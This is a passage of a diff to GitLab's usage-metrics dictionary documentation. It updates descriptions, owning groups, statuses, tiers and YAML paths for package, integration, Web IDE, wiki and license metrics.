definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183019_package_events_i_package_tag_pull_package.yml) -Group: `` +Group: `group::package` -Status: `data_available` +Status: `deprecated` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_tag_push_package` -Missing description +A count of package tags that have been published to the package registry [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183021_package_events_i_package_tag_push_package.yml) -Group: `` +Group: `group::package` -Status: `data_available` +Status: `deprecated` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_terraform_module_delete_package` @@ -4074,7 +4050,7 @@ Total count of Terraform Module packages delete events Group: `group::configure` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -4086,7 +4062,7 @@ Total count of pull Terraform Module packages events Group: `group::configure` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -4098,13 +4074,13 @@ Total count of push Terraform Module packages events Group: `group::configure` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` ### `counts.packages` -Number of packages +The total number of packages published to the registry [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181012_packages.yml) @@ -4112,7 +4088,7 @@ Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.pages_domains` @@ -4128,7 +4104,7 @@ Tiers: `free` ### `counts.personal_snippets` -Count of Personal Snippets +Count of personal Snippets [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180239_personal_snippets.yml) @@ -4144,9 +4120,9 @@ Count the total number of log views [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175021_pod_logs_usages_total.yml) -Group: `group::apm` +Group: `group::monitor` -Status: `data_available` +Status: `removed` Tiers: `free` @@ -4164,7 +4140,7 @@ Tiers: `free`, `premium`, `ultimate` ### `counts.productivity_analytics_views` -Missing description +Total visits to /groups/:group/-/analytics/productivity_analytics all time [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216174834_productivity_analytics_views.yml) @@ -4172,7 +4148,7 @@ Group: `group::optimize` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.project_clusters_disabled` @@ -4200,7 +4176,7 @@ Tiers: `free`, `premium`, `ultimate` ### `counts.project_snippets` -Count of Project Snippetss +Count of project Snippets [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180241_project_snippets.yml) @@ -4308,7 +4284,7 @@ Tiers: `free`, `premium`, `ultimate` ### `counts.projects_creating_incidents` -Counts of Projects that have created incidents +Counts of Projects that have incident issues, regardless of status. [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180453_projects_creating_incidents.yml) @@ -4332,15 +4308,15 @@ Tiers: `free`, `premium`, `ultimate` ### `counts.projects_datadog_active` -Missing description +Count of projects with active integrations for Datadog [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182547_projects_datadog_active.yml) -Group: `` +Group: `group::ecosystem` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.projects_discord_active` @@ -4380,15 +4356,15 @@ Tiers: `free`, `premium`, `ultimate` ### `counts.projects_ewm_active` -Missing description +Count of projects with active integrations for EWM [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182614_projects_ewm_active.yml) -Group: `` +Group: `group::ecosystem` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.projects_external_wiki_active` @@ -4418,13 +4394,13 @@ Tiers: `free`, `premium`, `ultimate` Count of projects with active integrations for GitHub -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175848_projects_github_active.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175848_projects_github_active.yml) Group: `group::ecosystem` Status: `data_available` -Tiers: `free`, `premium`, `ultimate` +Tiers: `premium`, `ultimate` ### `counts.projects_hangouts_chat_active` @@ -4560,15 +4536,15 @@ Tiers: `free`, `premium`, `ultimate` ### `counts.projects_inheriting_datadog_active` -Missing description +Count of active projects inheriting integrations for Datadog [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182555_projects_inheriting_datadog_active.yml) -Group: `` +Group: `group::ecosystem` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.projects_inheriting_discord_active` @@ -4608,15 +4584,15 @@ Tiers: `free`, `premium`, `ultimate` ### `counts.projects_inheriting_ewm_active` -Missing description +Count of active projects inheriting integrations for EWM [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182622_projects_inheriting_ewm_active.yml) -Group: `` +Group: `group::ecosystem` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.projects_inheriting_external_wiki_active` @@ -4646,13 +4622,13 @@ Tiers: `free`, `premium`, `ultimate` Count of active projects inheriting integrations for GitHub -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175855_projects_inheriting_github_active.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175855_projects_inheriting_github_active.yml) Group: `group::ecosystem` Status: `data_available` -Tiers: `free`, `premium`, `ultimate` +Tiers: `premium`, `ultimate` ### `counts.projects_inheriting_hangouts_chat_active` @@ -4752,27 +4728,27 @@ Tiers: `free`, `premium`, `ultimate` ### `counts.projects_inheriting_mock_ci_active` -Missing description +Count of active projects inheriting integrations for Mock CI [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182730_projects_inheriting_mock_ci_active.yml) -Group: `` +Group: `group::ecosystem` -Status: `data_available` +Status: `removed` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.projects_inheriting_mock_monitoring_active` -Missing description +Count of active projects inheriting integrations for Mock Monitoring [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182741_projects_inheriting_mock_monitoring_active.yml) -Group: `` +Group: `group::ecosystem` -Status: `data_available` +Status: `removed` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.projects_inheriting_packagist_active` @@ -5056,7 +5032,7 @@ Projects with repository mirroring enabled [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181920_projects_mirrored_with_pipelines_enabled.yml) -Group: `group::continuous integration` +Group: `group::pipeline execution` Status: `data_available` @@ -5064,27 +5040,27 @@ Tiers: `premium`, `ultimate` ### `counts.projects_mock_ci_active` -Missing description +Count of projects with active integrations for Mock CI [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182722_projects_mock_ci_active.yml) -Group: `` +Group: `group::ecosystem` -Status: `data_available` +Status: `removed` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.projects_mock_monitoring_active` -Missing description +Count of projects with active integrations for Mock Monitoring [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182734_projects_mock_monitoring_active.yml) -Group: `` +Group: `group::ecosystem` -Status: `data_available` +Status: `removed` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.projects_packagist_active` @@ -5280,7 +5256,7 @@ Tiers: `free`, `premium`, `ultimate` ### `counts.projects_with_expiration_policy_disabled` -Missing description +The number of projects with cleanup policy for tags turned off [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181014_projects_with_expiration_policy_disabled.yml) @@ -5288,11 +5264,11 @@ Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.projects_with_expiration_policy_enabled` -Missing description +A count of projects with the cleanup policy for tags turned on [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181016_projects_with_expiration_policy_enabled.yml) @@ -5300,11 +5276,11 @@ Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.projects_with_expiration_policy_enabled_with_cadence_set_to_14d` -Missing description +A count of projects with the cleanup policy set to run every 14 days [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181033_projects_with_expiration_policy_enabled_with_cadence_set_to_14d.yml) @@ -5312,11 +5288,11 @@ Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.projects_with_expiration_policy_enabled_with_cadence_set_to_1d` -Missing description +A count of projects with the cleanup policy set to run every day [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181029_projects_with_expiration_policy_enabled_with_cadence_set_to_1d.yml) @@ -5324,11 +5300,11 @@ Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.projects_with_expiration_policy_enabled_with_cadence_set_to_1month` -Missing description +A count of projects with the cleanup policy set to run monthly [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181035_projects_with_expiration_policy_enabled_with_cadence_set_to_1month.yml) @@ -5336,11 +5312,11 @@ Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.projects_with_expiration_policy_enabled_with_cadence_set_to_3month` -Missing description +A count of projects with the cleanup policy set to run every 3 months [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181037_projects_with_expiration_policy_enabled_with_cadence_set_to_3month.yml) @@ -5348,11 +5324,11 @@ Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.projects_with_expiration_policy_enabled_with_cadence_set_to_7d` -Missing description +A count of projects with the cleanup policy set to run every 7 days [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181031_projects_with_expiration_policy_enabled_with_cadence_set_to_7d.yml) @@ -5360,95 +5336,95 @@ Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.projects_with_expiration_policy_enabled_with_keep_n_set_to_1` -Missing description +A count of projects with the cleanup policy set to keep 1 tag -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181018_projects_with_expiration_policy_enabled_with_keep_n_set_to_1.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181018_projects_with_expiration_policy_enabled_with_keep_n_set_to_1.yml) Group: `group::package` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `counts.projects_with_expiration_policy_enabled_with_keep_n_set_to_10` -Missing description +A count of projects with the cleanup policy set to keep 10 tags -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181022_projects_with_expiration_policy_enabled_with_keep_n_set_to_10.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181022_projects_with_expiration_policy_enabled_with_keep_n_set_to_10.yml) Group: `group::package` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `counts.projects_with_expiration_policy_enabled_with_keep_n_set_to_100` -Missing description +A count of projects with the cleanup policy set to keep 100 tags -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181027_projects_with_expiration_policy_enabled_with_keep_n_set_to_100.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181027_projects_with_expiration_policy_enabled_with_keep_n_set_to_100.yml) Group: `group::package` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `counts.projects_with_expiration_policy_enabled_with_keep_n_set_to_25` -Missing description +A count of projects with the cleanup policy set to keep 25 tags -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181024_projects_with_expiration_policy_enabled_with_keep_n_set_to_25.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181024_projects_with_expiration_policy_enabled_with_keep_n_set_to_25.yml) Group: `group::package` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `counts.projects_with_expiration_policy_enabled_with_keep_n_set_to_5` -Missing description +A count of projects with the cleanup policy set to keep 5 tags -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181020_projects_with_expiration_policy_enabled_with_keep_n_set_to_5.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181020_projects_with_expiration_policy_enabled_with_keep_n_set_to_5.yml) Group: `group::package` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `counts.projects_with_expiration_policy_enabled_with_keep_n_set_to_50` -Missing description +A count of projects with the cleanup policy set to keep 50 tags -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181025_projects_with_expiration_policy_enabled_with_keep_n_set_to_50.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181025_projects_with_expiration_policy_enabled_with_keep_n_set_to_50.yml) Group: `group::package` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `counts.projects_with_expiration_policy_enabled_with_keep_n_unset` -Missing description +A count of projects with the cleanup policy with the number of tags to keep unset -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181046_projects_with_expiration_policy_enabled_with_keep_n_unset.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181046_projects_with_expiration_policy_enabled_with_keep_n_unset.yml) Group: `group::package` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `counts.projects_with_expiration_policy_enabled_with_older_than_set_to_14d` -Missing description +A count of projects with the cleanup policy set delete tags older than 14 days [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181040_projects_with_expiration_policy_enabled_with_older_than_set_to_14d.yml) @@ -5456,11 +5432,11 @@ Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.projects_with_expiration_policy_enabled_with_older_than_set_to_30d` -Missing description +A count of projects with the cleanup policy set delete tags older than 30 days [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181042_projects_with_expiration_policy_enabled_with_older_than_set_to_30d.yml) @@ -5468,11 +5444,11 @@ Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.projects_with_expiration_policy_enabled_with_older_than_set_to_7d` -Missing description +A count of projects with the cleanup policy set delete tags older than 7 days [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181038_projects_with_expiration_policy_enabled_with_older_than_set_to_7d.yml) @@ -5480,11 +5456,11 @@ Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.projects_with_expiration_policy_enabled_with_older_than_set_to_90d` -Missing description +A count of projects with the cleanup policy set delete tags older than 90 days [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181044_projects_with_expiration_policy_enabled_with_older_than_set_to_90d.yml) @@ -5492,11 +5468,11 @@ Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.projects_with_expiration_policy_enabled_with_older_than_unset` -Missing description +A count of projects with the cleanup policy with the number of tags to delete unset [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181048_projects_with_expiration_policy_enabled_with_older_than_unset.yml) @@ -5504,11 +5480,11 @@ Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.projects_with_packages` -Projects with package registry configured +Projects with package registry enabled [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181011_projects_with_packages.yml) @@ -5516,7 +5492,7 @@ Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.projects_with_prometheus_alerts` @@ -5524,9 +5500,9 @@ Projects with Prometheus alerting enabled [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175019_projects_with_prometheus_alerts.yml) -Group: `group::apm` +Group: `group::monitor` -Status: `data_available` +Status: `removed` Tiers: `free` @@ -5666,13 +5642,13 @@ Tiers: `ultimate` Count of requirements created -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175028_requirements_created.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175028_requirements_created.yml) Group: `group::certify` Status: `data_available` -Tiers: `free` +Tiers: `ultimate` ### `counts.requirements_with_test_report` @@ -5796,7 +5772,7 @@ Tiers: `free`, `premium`, `ultimate` ### `counts.static_site_editor_commits` -Count of commits created via Static Site Editor +Count of commits created from the Static Site Editor [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180301_static_site_editor_commits.yml) @@ -5804,7 +5780,7 @@ Group: `group::editor` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.static_site_editor_merge_requests` @@ -5816,11 +5792,11 @@ Group: `group::editor` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.static_site_editor_views` -Missing description +Count of Static Site Editor views [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180259_static_site_editor_views.yml) @@ -6012,15 +5988,15 @@ Tiers: `free`, `premium`, `ultimate` ### `counts.templates_datadog_active` -Missing description +Count of active service templates for Datadog [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182551_templates_datadog_active.yml) -Group: `` +Group: `group::ecosystem` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.templates_discord_active` @@ -6060,15 +6036,15 @@ Tiers: `free`, `premium`, `ultimate` ### `counts.templates_ewm_active` -Missing description +Count of active service templates for EWM [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182618_templates_ewm_active.yml) -Group: `` +Group: `group::ecosystem` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.templates_external_wiki_active` @@ -6098,13 +6074,13 @@ Tiers: `free`, `premium`, `ultimate` Count of active service templates for GitHub -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175851_templates_github_active.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175851_templates_github_active.yml) Group: `group::ecosystem` Status: `data_available` -Tiers: `free`, `premium`, `ultimate` +Tiers: `premium`, `ultimate` ### `counts.templates_hangouts_chat_active` @@ -6204,27 +6180,27 @@ Tiers: `free`, `premium`, `ultimate` ### `counts.templates_mock_ci_active` -Missing description +Count of active service templates for Mock CI [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182726_templates_mock_ci_active.yml) -Group: `` +Group: `group::ecosystem` -Status: `data_available` +Status: `removed` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.templates_mock_monitoring_active` -Missing description +Count of active service templates for Mock Monitoring [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182738_templates_mock_monitoring_active.yml) -Group: `` +Group: `group::ecosystem` -Status: `data_available` +Status: `removed` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.templates_packagist_active` @@ -6420,7 +6396,7 @@ Tiers: `free`, `premium`, `ultimate` ### `counts.user_preferences_group_overview_details` -Count of users who set personal preference to see Details on Group overview page +Count of users who set personal preference to see Details on Group information page [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216182203_user_preferences_group_overview_details.yml) @@ -6432,7 +6408,7 @@ Tiers: `ultimate` ### `counts.user_preferences_group_overview_security_dashboard` -Count of users who set personal preference to see Security Dashboard on Group overview page +Count of users who set personal preference to see Security Dashboard on Group information page [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216182205_user_preferences_group_overview_security_dashboard.yml) @@ -6444,7 +6420,7 @@ Tiers: `ultimate` ### `counts.user_preferences_user_gitpod_enabled` -Count all users with their GitPod setting enabled +Count of users with the GitPod integration enabled [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180304_user_preferences_user_gitpod_enabled.yml) @@ -6468,7 +6444,7 @@ Tiers: `free` ### `counts.web_ide_commits` -Count of Commits made from Web IDE +Count of commits made from the Web IDE [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180242_web_ide_commits.yml) @@ -6480,7 +6456,7 @@ Tiers: `free`, `premium`, `ultimate` ### `counts.web_ide_merge_requests` -Count of merge requests created from Web IDE +Count of merge requests created from the Web IDE [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180246_web_ide_merge_requests.yml) @@ -6492,7 +6468,7 @@ Tiers: `free`, `premium`, `ultimate` ### `counts.web_ide_pipelines` -Count of Pipeline tab views in Web IDE +Count of Pipeline tab views in the Web IDE [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180252_web_ide_pipelines.yml) @@ -6504,7 +6480,7 @@ Tiers: `free`, `premium`, `ultimate` ### `counts.web_ide_previews` -Count of Live Preview tab views in Web IDE +Count of Live Preview tab views in the Web IDE [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180248_web_ide_previews.yml) @@ -6516,7 +6492,7 @@ Tiers: `free`, `premium`, `ultimate` ### `counts.web_ide_terminals` -Count of Web Terminal Tab views in Web IDE +Count of Web Terminal tab views in the Web IDE [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180250_web_ide_terminals.yml) @@ -6528,7 +6504,7 @@ Tiers: `free`, `premium`, `ultimate` ### `counts.web_ide_views` -Count of Views of the Web IDE +Count of views of the Web IDE [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180244_web_ide_views.yml) @@ -6540,39 +6516,39 @@ Tiers: `free`, `premium`, `ultimate` ### `counts.wiki_pages_create` -Missing description +Count of all Wiki pages created [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180734_wiki_pages_create.yml) -Group: `group::knowledge` +Group: `group::editor` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.wiki_pages_delete` -Missing description +Count of all Wiki pages deleted [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180738_wiki_pages_delete.yml) -Group: `group::knowledge` +Group: `group::editor` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.wiki_pages_update` -Missing description +Count of all Wiki page updates [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180736_wiki_pages_update.yml) -Group: `group::knowledge` +Group: `group::editor` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.wiki_pages_view` @@ -6594,7 +6570,7 @@ Missing description Group: `` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -6606,7 +6582,7 @@ Missing description Group: `` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -6618,7 +6594,7 @@ Missing description Group: `` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -6720,7 +6696,7 @@ Tiers: `free` ### `counts_monthly.packages` -Monthly count of Packages +A monthly count of packages published to the registry [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181050_packages.yml) @@ -6728,11 +6704,11 @@ Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts_monthly.personal_snippets` -Monthly count of Personal Snippets +Monthly count of personal Snippets [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180308_personal_snippets.yml) @@ -6744,7 +6720,7 @@ Tiers: `free`, `premium`, `ultimate` ### `counts_monthly.project_snippets` -Monthly count of Project Snippets +Monthly count of project Snippets [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180310_project_snippets.yml) @@ -6754,6 +6730,18 @@ Status: `data_available` Tiers: `free`, `premium`, `ultimate` +### `counts_monthly.projects` + +Count number of projects created monthly + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210514141518_monthly_projects_creation.yml) + +Group: `group::project management` + +Status: `implemented` + +Tiers: `free`, `premium`, `ultimate` + ### `counts_monthly.projects_with_alerts_created` Monthly count of unique projects with HTTP alerting enabled @@ -6798,7 +6786,7 @@ Missing description Group: `` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -6810,7 +6798,7 @@ Missing description Group: `` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -6822,7 +6810,7 @@ Missing description Group: `` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -6936,15 +6924,15 @@ Tiers: `free`, `premium`, `ultimate` ### `dependency_proxy_enabled` -Whether dependency proxy is enabled +A count of projects where the dependency proxy is enabled [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210204124900_dependency_proxy_enabled.yml) -Group: `group::product intelligence` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `edition` @@ -6984,15 +6972,15 @@ Tiers: `premium`, `ultimate` ### `git.version` -Missing description +Information about Git version [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/license/20210216183237_version.yml) -Group: `` +Group: `group::distribution` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `gitaly.clusters` @@ -7080,7 +7068,7 @@ Tiers: `free`, `premium`, `ultimate` ### `gitpod_enabled` -Whether gitpod is enabled in the instance +Whether Gitpod is enabled in the instance [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210216180314_gitpod_enabled.yml) @@ -7108,19 +7096,19 @@ Whether gravatar is enabled [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210204124904_gravatar_enabled.yml) -Group: `group::product intelligence` +Group: `group::access` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `historical_max_users` -The maximum active user count. Active is defined in UsersStatistics model. +The peak active user count. Active is defined in UsersStatistics model. [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210204124835_historical_max_users.yml) -Group: `group::product intelligence` +Group: `group::license` Status: `data_available` @@ -7146,7 +7134,7 @@ Whether or not ModSecurity is enabled within Ingress Group: `group::container security` -Status: `deprecated` +Status: `removed` Tiers: `free`, `premium`, `ultimate` @@ -7186,13 +7174,25 @@ Status: `data_available` Tiers: `free` +### `license_billable_users` + +Number of all billable users (active users excluding bots and guests). + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210531204603_license_billable_users.yml) + +Group: `group::product intelligence` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + ### `license_expires_at` The date the license ends [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210204124847_license_expires_at.yml) -Group: `group::product intelligence` +Group: `group::license` Status: `data_available` @@ -7204,7 +7204,7 @@ The ID of the license [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210204124833_license_id.yml) -Group: `group::product intelligence` +Group: `group::license` Status: `data_available` @@ -7212,15 +7212,15 @@ Tiers: `premium`, `ultimate` ### `license_md5` -The license key of the GitLab instance +The MD5 hash of license key of the GitLab instance [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210204124831_license_md5.yml) -Group: `group::product intelligence` +Group: `group::license` Status: `data_available` -Tiers: `free`, `premium`, `ultimate` +Tiers: `premium`, `ultimate` ### `license_plan` @@ -7228,7 +7228,7 @@ The plan of the GitLab license [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210204124849_license_plan.yml) -Group: `group::product intelligence` +Group: `group::license` Status: `data_available` @@ -7240,7 +7240,7 @@ The date the license starts [YAML 